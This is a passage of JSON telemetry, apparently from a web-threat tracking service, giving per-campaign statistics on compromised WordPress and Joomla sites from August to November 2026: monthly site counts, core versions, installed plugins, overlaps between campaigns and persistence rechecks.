-11-04","overlaps":{"la02":560,"lenai":513,"bwpanel":69,"helptds":10,"hexmage":17,"twinkey":13,"xorveil":36,"branchhop":106,"chainbite":16,"skinframe":142,"adminshade":22,"embedshade":67,"linkcradle":21,"overlaywar":424,"socgholish":60,"tableframe":48,"doubledonut":44,"shieldbeaver":12},"firstSeen":"2026-08-02","wordpress":1921,"persistence":{"still":1061,"rechecked":1400}},"dualprompt":{"sites":31,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":10,"newSites":10},{"month":"2026-10","sites":22,"newSites":21},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":18,"captured":23,"lastSeen":"2026-10-16","overlaps":{},"firstSeen":"2026-09-16","wordpress":0,"persistence":{"still":0,"rechecked":0}},"embedshade":{"sites":1360,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":809,"newSites":809},{"month":"2026-10","sites":868,"newSites":532},{"month":"2026-11","sites":36,"newSites":19}],"wpCore":{"6.1":10,"6.3":8,"6.5":20,"6.6":10,"6.7":26,"6.8":34,"6.9":60,"7.0":66,"7.1":368,"other":220,"older6":34},"plugins":{"elementor":288,"revslider":87,"wordfence":34,"cgt-blocks":34,"js_composer":78,"woocommerce":102,"wpforms-lite":39,"block-lab-pro":28,"cookie-notice":28,"elementor-pro":137,"wordpress-seo":51,"contact-form-7":202,"cookie-law-info":25,"google-site-kit":84,"litespeed-cache":43,"elementskit-lite":43,"responsive-block-suite":64,"header-footer-elementor":38,"google-analytics-for-wordpress":26,"essential-addons-for-elementor-lite":44},"sites30":877,"captured":1012,"lastSeen":"2026-11-04","overlaps":{"la02":191,"lenai":1024,"coruna":50,"bwpanel":73,"xorveil":24,"branchhop":24,"chainbite":25,"skinframe":54,"drivesurge":67,"overlaywar":176,"tableframe":17,"doubledonut":28,"framefinger":50,"pixelsplice":113},"firstSeen":"2026-09-01","wordpress":856,"persistence":{"still":332,"rechecked":468}},"eviltokens":{"sites":50,"joomla":0,"months":[{"month":"2026-08","sites":29,"newSites":29},{"month":"2026-09","sites":15,"newSites":15},{"month":"2026-10","sites":6,"newSites":6},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":6,"captured":7,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-08-10","wordpress":0,"persistence":{"still":0,"rechecked":0}},"guardframe":{"sites":67,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":14,"newSites":14},{"month":"2026-10","sites":58,"newSites":48},{"month":"2026-11","sites":5,"newSites":5}],"wpCore":{"7.1":61,"other":4,"older6":0},"plugins":{"elementor":12,"revslider":2,"wordfence":1,"wpforms-lite":3,"elementor-pro":2,"contact-form-7":3,"google-site-kit":2,"litespeed-cache":2,"elementskit-lite":2,"seo-by-rank-math":42,"sphere-post-views":3,"the-events-calendar":2,"meks-easy-ads-widget":34,"happy-elementor-addons":2,"meks-easy-social-share":33,"meks-flexible-shortcodes":33,"meks-smart-author-widget":33,"meks-smart-social-widget":33,"meks-simple-flickr-widget":33,"meks-easy-instagram-widget":33,"meks-themeforest-smart-widget":32},"sites30":63,"captured":65,"lastSeen":"2026-11-04","overlaps":{"branchhop":52,"chainbite":12},"firstSeen":"2026-09-24","wordpress":65,"persistence":{"still":8,"rechecked":8}},"linkcradle":{"sites":186,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":168,"newSites":168},{"month":"2026-11","sites":18,"newSites":18}],"wpCore":{"6.8":6,"7.0":22,"7.1":78,"other":25,"older6":2},"plugins":{"chaty":3,"akismet":3,"elementor":47,"revslider":11,"wordfence":2,"gtranslate":7,"woocommerce":30,"elementor-pro":20,"wordpress-seo":9,"contact-form-7":32,"cookie-law-info":4,"google-site-kit":9,"litespeed-cache":4,"elementskit-lite":10,"mailchimp-for-wp":4,"seo-by-rank-math":4,"woocommerce-payments":4,"header-footer-elementor":4,"click-to-chat-for-whatsapp":6,"premium-addons-for-elementor":4,"essential-addons-for-elementor-lite":5},"sites30":186,"captured":134,"lastSeen":"2026-11-04","overlaps":{"la02":27,"lenai":56,"gzipgnaw":18,"branchhop":25,"drivesurge":21,"overlaywar":103},"firstSeen":"2026-10-08","wordpress":133,"persistence":{"still":0,"rechecked":0}},"linkhiding":{"sites":3,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":3,"newSites":3},{"month":"2026-10","sites":3,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":2,"older6":0},"plugins":{"jetpack":1,"elementor":1,"wordfence":0,"tablepress":1,"mystickymenu":1,"contact-form-7":1,"widget-options":1,"wdv-about-me-widget":1,"meks-easy-ads-widget":1,"popup-anything-on-click":1,"wp-content-copy-protection":1,"wp-trending-post-slider-and-widget":1},"sites30":3,"captured":3,"lastSeen":"2026-10-29","overlaps":{},"firstSeen":"2026-09-28","wordpress":2,"persistence":{"still":2,"rechecked":2}},"nakedpages":{"sites":80,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":42,"newSites":42},{"month":"2026-10","sites":34,"newSites":34},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":32,"captured":34,"lastSeen":"2026-11-01","overlaps":{},"firstSeen":"2026-08-28","wordpress":0,"persistence":{"still":0,"rechecked":0}},"offerlodge":{"sites":96,"joomla":0,"months":[{"month":"2026-08","sites":47,"newSites":47},{"month":"2026-09","sites":63,"newSites":35},{"month":"2026-10","sites":60,"newSites":13},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"7.0":10,"7.1":28,"other":17,"older6":6},"plugins":{"elementor":11,"hostinger":5,"revslider":5,"wordfence":2,"js_composer":4,"woocommerce":4,"wpforms-lite":8,"cookie-notice":2,"elementor-pro":3,"wordpress-seo":9,"contact-form-7":17,"duplicate-post":2,"cookie-law-info":2,"google-site-kit":8,"litespeed-cache":3,"elementskit-lite":2,"mailchimp-for-wp":3,"all-in-one-seo-pack":2,"framework-triappment":2,"foobox-image-lightbox":2,"bluehost-wordpress-plugin":2},"sites30":61,"captured":63,"lastSeen":"2026-11-04","overlaps":{"la02":13,"socgholish":14},"firstSeen":"2026-08-04","wordpress":61,"persistence":{"still":43,"rechecked":51}},"overlaywar":{"sites":4881,"joomla":38,"months":[{"month":"2026-08","sites":882,"newSites":882},{"month":"2026-09","sites":2750,"newSites":2309},{"month":"2026-10","sites":3081,"newSites":1573},{"month":"2026-11","sites":353,"newSites":117}],"wpCore":{"6.0":14,"6.1":37,"6.2":20,"6.3":13,"6.4":40,"6.5":27,"6.6":28,"6.7":68,"6.8":193,"6.9":343,"7.0":386,"7.1":1788,"other":251,"older6":154},"plugins":{"akismet":128,"elementor":1458,"revslider":413,"wordfence":129,"astra-sites":101,"js_composer":207,"woocommerce":696,"wpforms-lite":168,"elementor-pro":652,"wordpress-seo":216,"contact-form-7":902,"google-site-kit":352,"litespeed-cache":219,"elementskit-lite":264,"mailchimp-for-wp":114,"seo-by-rank-math":119,"all-in-one-seo-pack":92,"header-footer-elementor":211,"click-to-chat-for-whatsapp":107,"essential-addons-for-elementor-lite":196},"sites30":2913,"captured":3520,"lastSeen":"2026-11-04","overlaps":{"la02":897,"lenai":971,"coruna":19,"bwpanel":128,"twinkey":18,"xorveil":76,"gzipgnaw":10,"txtrelay":10,"branchhop":214,"chainbite":31,"skinframe":386,"stripcall":18,"adminshade":22,"drivesurge":424,"embedshade":176,"linkcradle":103,"pranklodge":12,"socgholish":88,"tableframe":34,"doubledonut":76,"shieldbeaver":10},"firstSeen":"2026-08-10","wordpress":3362,"persistence":{"still":1546,"rechecked":2044}},"postalscam":{"sites":48,"joomla":0,"months":[{"month":"2026-08","sites":9,"newSites":9},{"month":"2026-09","sites":27,"newSites":27},{"month":"2026-10","sites":12,"newSites":12},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":10,"captured":22,"lastSeen":"2026-10-13","overlaps":{"darcula":15},"firstSeen":"2026-08-22","wordpress":0,"persistence":{"still":0,"rechecked":0}},"pranklodge":{"sites":22,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":17,"newSites":15},{"month":"2026-10","sites":15,"newSites":4},{"month":"2026-11","sites":2,"newSites":0}],"wpCore":{"7.1":10,"other":7,"older6":0},"plugins":{"elementor":3,"ml-slider":1,"revslider":1,"wordfence":0,"wp-helper":3,"gtranslate":1,"popup-builder":1,"contact-form-7":3,"glitche-plugin":1,"google-site-kit":2,"hostinger-reach":1,"keydesign-addon":1,"redux-framework":1,"elementskit-lite":1,"creame-whatsapp-me":1,"contact-form-dashboard":1,"happy-elementor-addons":1,"header-footer-elementor":2,"premium-addons-for-elementor":1,"exclusive-addons-for-elementor":1,"essential-addons-for-elementor-lite":1},"sites30":15,"captured":18,"lastSeen":"2026-11-03","overlaps":{"overlaywar":12},"firstSeen":"2026-08-28","wordpress":17,"persistence":{"still":11,"rechecked":13}},"scbackdoor":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"other":2,"older6":0},"plugins":{"elementor":1,"wordfence":0,"woocommerce":1,"busico-helper":1,"contact-form-7":1,"hostinger-reach":1,"rrdevs-for-elementor":1,"woo-smart-quick-view":1,"cf7-redirect-thank-you-page":1,"essential-addons-for-elementor-lite":1},"sites30":2,"captured":2,"lastSeen":"2026-11-03","overlaps":{},"firstSeen":"2026-10-27","wordpress":2,"persistence":{"still":0,"rechecked":0}},"smartapesg":{"sites":1801,"joomla":1180,"months":[{"month":"2026-08","sites":276,"newSites":276},{"month":"2026-09","sites":1260,"newSites":1198},{"month":"2026-10","sites":1245,"newSites":302},{"month":"2026-11","sites":33,"newSites":25}],"wpCore":{"6.9":5,"7.0":10,"7.1":55,"other":25,"older6":5},"plugins":{"akismet":17,"jetpack":8,"elementor":31,"revslider":13,"wordfence":10,"js_composer":6,"popup-maker":6,"woocommerce":13,"wpforms-lite":21,"elementor-pro":14,"wordpress-seo":17,"contact-form-7":24,"google-site-kit":12,"litespeed-cache":41,"seo-by-rank-math":18,"blocksy-companion":11,"all-in-one-seo-pack":5,"modula-best-grid-gallery":11,"all-in-one-wp-security-and-firewall":4,"stackable-ultimate-gutenberg-blocks":12},"sites30":1265,"captured":1333,"lastSeen":"2026-11-04","overlaps":{"checkbot":128,"gzipgnaw":14,"hotejmain":21,"pixelmenu":154},"firstSeen":"2026-08-03","wordpress":100,"persistence":{"still":937,"rechecked":968}},"socgholish":{"sites":1894,"joomla":0,"months":[{"month":"2026-08","sites":1190,"newSites":1190},{"month":"2026-09","sites":1225,"newSites":563},{"month":"2026-10","sites":740,"newSites":131},{"month":"2026-11","sites":14,"newSites":10}],"wpCore":{"6.1":7,"6.2":5,"6.4":9,"6.5":7,"6.6":6,"6.7":16,"6.8":38,"6.9":49,"7.0":71,"7.1":429,"other":133,"older6":25},"plugins":{"akismet":93,"jetpack":41,"elementor":262,"revslider":93,"wordfence":69,"js_composer":47,"woocommerce":111,"wpforms-lite":58,"elementor-pro":112,"wordpress-seo":99,"contact-form-7":216,"google-site-kit":74,"litespeed-cache":47,"elementskit-lite":31,"seo-by-rank-math":29,"all-in-one-seo-pack":32,"framework-triappment":159,"smartrestal-serverful":48,"header-footer-elementor":42,"uniserviceist-multiinfrastructure":49},"sites30":775,"captured":888,"lastSeen":"2026-11-04","overlaps":{"la02":231,"lenai":52,"bwpanel":41,"branchhop":10,"chainbite":13,"fleetsync":12,"skinframe":19,"stripcall":113,"drivesurge":60,"offerlodge":14,"overlaywar":88,"doubledonut":49,"trackmyposs":19},"firstSeen":"2026-08-02","wordpress":795,"persistence":{"still":641,"rechecked":781}},"statustail":{"sites":12,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":11,"newSites":11},{"month":"2026-10","sites":3,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"7.1":5,"other":2,"older6":0},"plugins":{"kirki":1,"akismet":2,"elementor":5,"hostinger":1,"revslider":2,"wordfence":0,"forminator":1,"woocommerce":2,"gravityforms":1,"elementor-pro":2,"contact-form-7":2,"google-site-kit":1,"hostinger-reach":1,"elementskit-lite":1,"advanced-faq-manager":1,"gutenkit-blocks-addon":1,"independent-analytics":1,"law-consultation-form":1,"royal-elementor-addons":2,"header-footer-elementor":1,"essential-addons-for-elementor-lite":1},"sites30":3,"captured":7,"lastSeen":"2026-10-24","overlaps":{},"firstSeen":"2026-09-01","wordpress":7,"persistence":{"still":2,"rechecked":6}},"superpixel":{"sites":19,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":6,"newSites":6},{"month":"2026-11","sites":13,"newSites":13}],"wpCore":{"7.1":7,"other":11,"older6":0},"plugins":{"akismet":2,"jetpack":2,"safe-svg":2,"elementor":9,"revslider":4,"wordfence":2,"js_composer":3,"woocommerce":16,"elementor-pro":5,"pixelyoursite":3,"contact-form-7":8,"cookie-law-info":2,"google-site-kit":4,"seo-by-rank-math":2,"woo-discount-rules":2,"flexible-product-fields":2,"google-listings-and-ads":2,"facebook-for-woocommerce":4,"woocommerce-paypal-payments":3,"customer-reviews-woocommerce":2,"duracelltomi-google-tag-manager":5},"sites30":19,"captured":18,"lastSeen":"2026-11-01","overlaps":{},"firstSeen":"2026-10-12","wordpress":18,"persistence":{"still":0,"rechecked":0}},"tableframe":{"sites":420,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":394,"newSites":394},{"month":"2026-11","sites":28,"newSites":26}],"wpCore":{"6.1":6,"6.4":7,"6.5":19,"6.7":8,"6.8":18,"6.9":24,"7.0":24,"7.1":250,"other":27,"older6":13},"plugins":{"breeze":17,"elementor":220,"revslider":71,"wordfence":24,"js_composer":23,"woocommerce":70,"pro-elements":20,"wpforms-lite":38,"elementor-pro":107,"wordpress-seo":62,"contact-form-7":142,"google-site-kit":64,"hostinger-reach":18,"litespeed-cache":61,"elementskit-lite":45,"mailchimp-for-wp":28,"seo-by-rank-math":34,"header-footer-elementor":25,"click-to-chat-for-whatsapp":22,"essential-addons-for-elementor-lite":35},"sites30":415,"captured":401,"lastSeen":"2026-11-04","overlaps":{"la02":55,"lenai":351,"coruna":14,"bwpanel":16,"branchhop":19,"chainbite":15,"drivesurge":48,"embedshade":17,"overlaywar":34,"doubledonut":10},"firstSeen":"2026-10-03","wordpress":396,"persistence":{"still":2,"rechecked":3}},"tokentooth":{"sites":13,"joomla":0,"months":[{"month":"2026-08","sites":8,"newSites":8},{"month":"2026-09","sites":6,"newSites":5},{"month":"2026-10","sites":1,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":4,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-08-03","wordpress":0,"persistence":{"still":2,"rechecked":3}},"triplegnaw":{"sites":7,"joomla":0,"months":[{"month":"2026-08","sites":2,"newSites":2},{"month":"2026-09","sites":5,"newSites":3},{"month":"2026-10","sites":3,"newSites":2},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":1,"older6":0},"plugins":{"if-so":1,"elementor":1,"wordfence":1,"afl-wc-utm":1,"helpie-faq":1,"tablepress":1,"woocommerce":1,"gravityforms":1,"optinmonster":1,"elementor-pro":1,"molongui-authorship":1,"woo-variation-swatches":1,"woocommerce-subscriptions":1,"essential-addons-for-elementor-lite":1},"sites30":2,"captured":1,"lastSeen":"2026-10-23","overlaps":{},"firstSeen":"2026-08-15","wordpress":1,"persistence":{"still":1,"rechecked":1}},"vaulttoken":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-08-26","overlaps":{},"firstSeen":"2026-08-26","wordpress":0,"persistence":{"still":0,"rechecked":0}},"verifyfork":{"sites":51,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":6,"newSites":6},{"month":"2026-10","sites":44,"newSites":40},{"month":"2026-11","sites":6,"newSites":5}],"wpCore":{"7.1":31,"other":13,"older6":4},"plugins":{"akismet":4,"polylang":3,"elementor":19,"revslider":4,"wordfence":4,"js_composer":6,"woocommerce":5,"salient-core":4,"elementor-pro":8,"wordpress-seo":7,"contact-form-7":17,"google-site-kit":7,"litespeed-cache":4,"elementskit-lite":2,"email-subscribers":3,"creame-whatsapp-me":2,"all-in-one-seo-pack":3,"js_composer_salient":3,"easy-paypal-donation":2,"essential-addons-for-elementor-lite":2},"sites30":49,"captured":48,"lastSeen":"2026-11-04","overlaps":{"bwpanel":38},"firstSeen":"2026-09-09","wordpress":48,"persistence":{"still":5,"rechecked":6}},"digitalflwr":{"sites":16,"joomla":0,"months":[{"month":"2026-08","sites":15,"newSites":15},{"month":"2026-09","sites":10,"newSites":1},{"month":"2026-10","sites":2,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":3,"older6":0},"plugins":{"jetpack":2,"elementor":1,"wordfence":0,"newsletter":1,"tablepress":1,"js_composer":1,"woocommerce":3,"gravityforms":1,"ut-portfolio":1,"ut-shortcodes":1,"wordpress-seo":1,"complianz-gdpr":1,"contact-form-7":1,"wp-imagelightbox":1,"uncode-js_composer":1,"woo-discount-rules":1,"royal-elementor-addons":1,"woo-discount-rules-pro":1,"facebook-for-woocommerce":1,"official-mailerlite-sign-up-forms":1},"sites30":2,"captured":3,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-08-02","wordpress":3,"persistence":{"still":3,"rechecked":5}},"doubledonut":{"sites":2131,"joomla":0,"months":[{"month":"2026-08","sites":371,"newSites":371},{"month":"2026-09","sites":1205,"newSites":1077},{"month":"2026-10","sites":1321,"newSites":600},{"month":"2026-11","sites":105,"newSites":83}],"wpCore":{"6.0":5,"6.1":12,"6.3":5,"6.4":8,"6.5":10,"6.6":13,"6.7":16,"6.8":69,"6.9":102,"7.0":114,"7.1":752,"other":236,"older6":33},"plugins":{"akismet":78,"elementor":608,"revslider":118,"wordfence":132,"fluentform":77,"js_composer":77,"woocommerce":168,"pro-elements":48,"wpforms-lite":84,"elementor-pro":307,"wordpress-seo":158,"contact-form-7":341,"google-site-kit":231,"litespeed-cache":161,"elementskit-lite":93,"seo-by-rank-math":175,"ultimate-elementor":68,"header-footer-elementor":87,"click-to-chat-for-whatsapp":73,"essential-addons-for-elementor-lite":55},"sites30":1393,"captured":1494,"lastSeen":"2026-11-04","overlaps":{"la02":65,"lenai":126,"bwpanel":53,"xorveil":12,"proxysig":89,"branchhop":12,"chainbite":46,"fleetsync":16,"skinframe":16,"drivesurge":44,"embedshade":28,"overlaywar":76,"socgholish":49,"tableframe":10},"firstSeen":"2026-08-10","wordpress":1375,"persistence":{"still":643,"rechecked":795}},"encodedgnaw":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-06","overlaps":{},"firstSeen":"2026-08-30","wordpress":0,"persistence":{"still":0,"rechecked":0}},"envelopedam":{"sites":33,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":12,"newSites":12},{"month":"2026-10","sites":18,"newSites":18},{"month":"2026-11","sites":3,"newSites":2}],"wpCore":{"7.1":17,"other":7,"older6":1},"plugins":{"akismet":2,"coblocks":2,"elementor":10,"revslider":6,"wordfence":0,"astra-sites":2,"js_composer":2,"ocean-extra":2,"woocommerce":8,"elementor-pro":3,"contact-form-7":9,"google-site-kit":7,"elementskit-lite":2,"mailchimp-for-wp":2,"siteorigin-panels":2,"all-in-one-seo-pack":2,"custom-facebook-feed":2,"seo-by-rank-math-pro":2,"header-footer-elementor":2,"facebook-for-woocommerce":2,"essential-addons-for-elementor-lite":3},"sites30":21,"captured":27,"lastSeen":"2026-11-03","overlaps":{"lenai":22},"firstSeen":"2026-08-28","wordpress":25,"persistence":{"still":6,"rechecked":10}},"flowerstorm":{"sites":4,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":1,"newSites":1},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-19","overlaps":{},"firstSeen":"2026-08-02","wordpress":0,"persistence":{"still":0,"rechecked":0}},"framefinger":{"sites":181,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":180,"newSites":180},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"6.8":6,"7.1":58,"other":13,"older6":0},"plugins":{"akismet":11,"jetpack":5,"elementor":38,"revslider":12,"wordfence":16,"wp-rocket":5,"woocommerce":10,"gravityforms":8,"wpforms-lite":8,"block-lab-pro":62,"elementor-pro":20,"wordpress-seo":17,"contact-form-7":25,"google-site-kit":5,"litespeed-cache":6,"elementskit-lite":8,"responsive-block-suite":16,"header-footer-elementor":5,"google-analytics-for-wordpress":6,"essential-addons-for-elementor-lite":5},"sites30":181,"captured":175,"lastSeen":"2026-11-01","overlaps":{"lenai":122,"embedshade":50,"pixelsplice":45},"firstSeen":"2026-10-08","wordpress":77,"persistence":{"still":0,"rechecked":0}},"masscollect":{"sites":4772,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":4603,"newSites":4603},{"month":"2026-11","sites":356,"newSites":169}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1491,"captured":2211,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-10-02","wordpress":0,"persistence":{"still":0,"rechecked":0}},"minutemunch":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":2,"newSites":2},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-29","overlaps":{},"firstSeen":"2026-09-07","wordpress":0,"persistence":{"still":0,"rechecked":0}},"patchbeaver":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":2,"newSites":2},{"month":"2026-09","sites":1,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-10-02","overlaps":{},"firstSeen":"2026-08-10","wordpress":0,"persistence":{"still":0,"rechecked":0}},"pixelsplice":{"sites":249,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":16,"newSites":16},{"month":"2026-10","sites":198,"newSites":194},{"month":"2026-11","sites":40,"newSites":39}],"wpCore":{"6.8":19,"6.9":7,"7.0":11,"7.1":130,"other":35,"older6":3},"plugins":{"akismet":18,"jetpack":12,"coblocks":10,"elementor":93,"revslider":20,"wordfence":33,"wp-rocket":16,"js_composer":11,"popup-maker":11,"woocommerce":25,"wpforms-lite":12,"block-lab-pro":94,"elementor-pro":58,"wordpress-seo":20,"contact-form-7":62,"google-site-kit":32,"litespeed-cache":15,"responsive-block-suite":114,"header-footer-elementor":13,"essential-addons-for-elementor-lite":14},"sites30":231,"captured":230,"lastSeen":"2026-11-04","overlaps":{"lenai":151,"embedshade":113,"framefinger":45},"firstSeen":"2026-09-24","wordpress":205,"persistence":{"still":4,"rechecked":12}},"quietchisel":{"sites":34,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":32,"newSites":32},{"month":"2026-10","sites":4,"newSites":2},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":17,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-09-01","wordpress":0,"persistence":{"still":1,"rechecked":1}},"shadowlodge":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":2,"newSites":2},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-08-26","overlaps":{},"firstSeen":"2026-08-21","wordpress":0,"persistence":{"still":0,"rechecked":0}},"shieldcrypt":{"sites":106,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":105,"newSites":105},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":1,"lastSeen":"2026-10-11","overlaps":{},"firstSeen":"2026-09-18","wordpress":0,"persistence":{"still":0,"rechecked":0}},"splashlodge":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":1,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-08-28","wordpress":0,"persistence":{"still":0,"rechecked":0}},"templatehop":{"sites":46,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":29,"newSites":29},{"month":"2026-10","sites":17,"newSites":17},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":10,"captured":15,"lastSeen":"2026-10-08","overlaps":{},"firstSeen":"2026-09-13","wordpress":0,"persistence":{"still":0,"rechecked":0}},"testnettail":{"sites":5,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":2,"newSites":2},{"month":"2026-10","sites":1,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":2,"older6":0},"plugins":{"jet-blog":1,"elementor":2,"mailchimp":1,"wordfence":0,"jet-blocks":1,"jet-engine":1,"jet-search":1,"woocommerce":1,"jet-elements":1,"elementor-pro":2,"jet-woo-builder":1,"instagram-feed-pro":1,"header-footer-elementor":2,"jet-woo-product-gallery":1,"dynamic-visibility-for-elementor":1,"advanced-product-labels-for-woocommerce":1},"sites30":1,"captured":2,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-08-19","wordpress":2,"persistence":{"still":1,"rechecked":2}},"timbercheck":{"sites":69,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":16,"newSites":14},{"month":"2026-10","sites":54,"newSites":52},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":4,"older6":0},"plugins":{"elementor":1,"revslider":1,"wordfence":0,"gtranslate":1,"cookie-notice":1,"houzez-studio":1,"contact-form-7":1,"wp-core-tune-gscw":1,"all-in-one-seo-pack":1,"meks-easy-ads-widget":1,"wp-cache-helper-hrun":1,"wp-kit-security-ejb7":1,"meks-easy-social-share":1,"meks-flexible-shortcodes":1,"meks-smart-author-widget":1,"meks-smart-social-widget":1,"meks-simple-flickr-widget":1,"meks-easy-instagram-widget":1,"wp-security-optimizer-bncm":1,"meks-themeforest-smart-widget":1},"sites30":53,"captured":51,"lastSeen":"2026-10-31","overlaps":{},"firstSeen":"2026-08-10","wordpress":4,"persistence":{"still":1,"rechecked":2}},"trackmyposs":{"sites":734,"joomla":3,"months":[{"month":"2026-08","sites":223,"newSites":223},{"month":"2026-09","sites":306,"newSites":207},{"month":"2026-10","sites":398,"newSites":301},{"month":"2026-11","sites":4,"newSites":3}],"wpCore":{"6.5":5,"6.7":11,"6.8":23,"6.9":11,"7.0":20,"7.1":72,"other":33,"older6":22},"plugins":{"akismet":15,"jetpack":11,"elementor":68,"revslider":33,"wordfence":14,"wp-rocket":9,"js_composer":23,"woocommerce":32,"wpforms-lite":10,"elementor-pro":26,"wordpress-seo":21,"contact-form-7":74,"cookie-law-info":7,"google-site-kit":22,"litespeed-cache":7,"elementskit-lite":8,"all-in-one-seo-pack":7,"header-footer-elementor":14,"google-analytics-for-wordpress":8,"essential-addons-for-elementor-lite":11},"sites30":400,"captured":340,"lastSeen":"2026-11-03","overlaps":{"lnkr":86,"branchhop":13,"socgholish":19},"firstSeen":"2026-08-02","wordpress":197,"persistence":{"still":47,"rechecked":65}},"anonymouskit":{"sites":36,"joomla":0,"months":[{"month":"2026-08","sites":9,"newSites":9},{"month":"2026-09","sites":16,"newSites":16},{"month":"2026-10","sites":10,"newSites":10},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"other":0,"older6":0},"p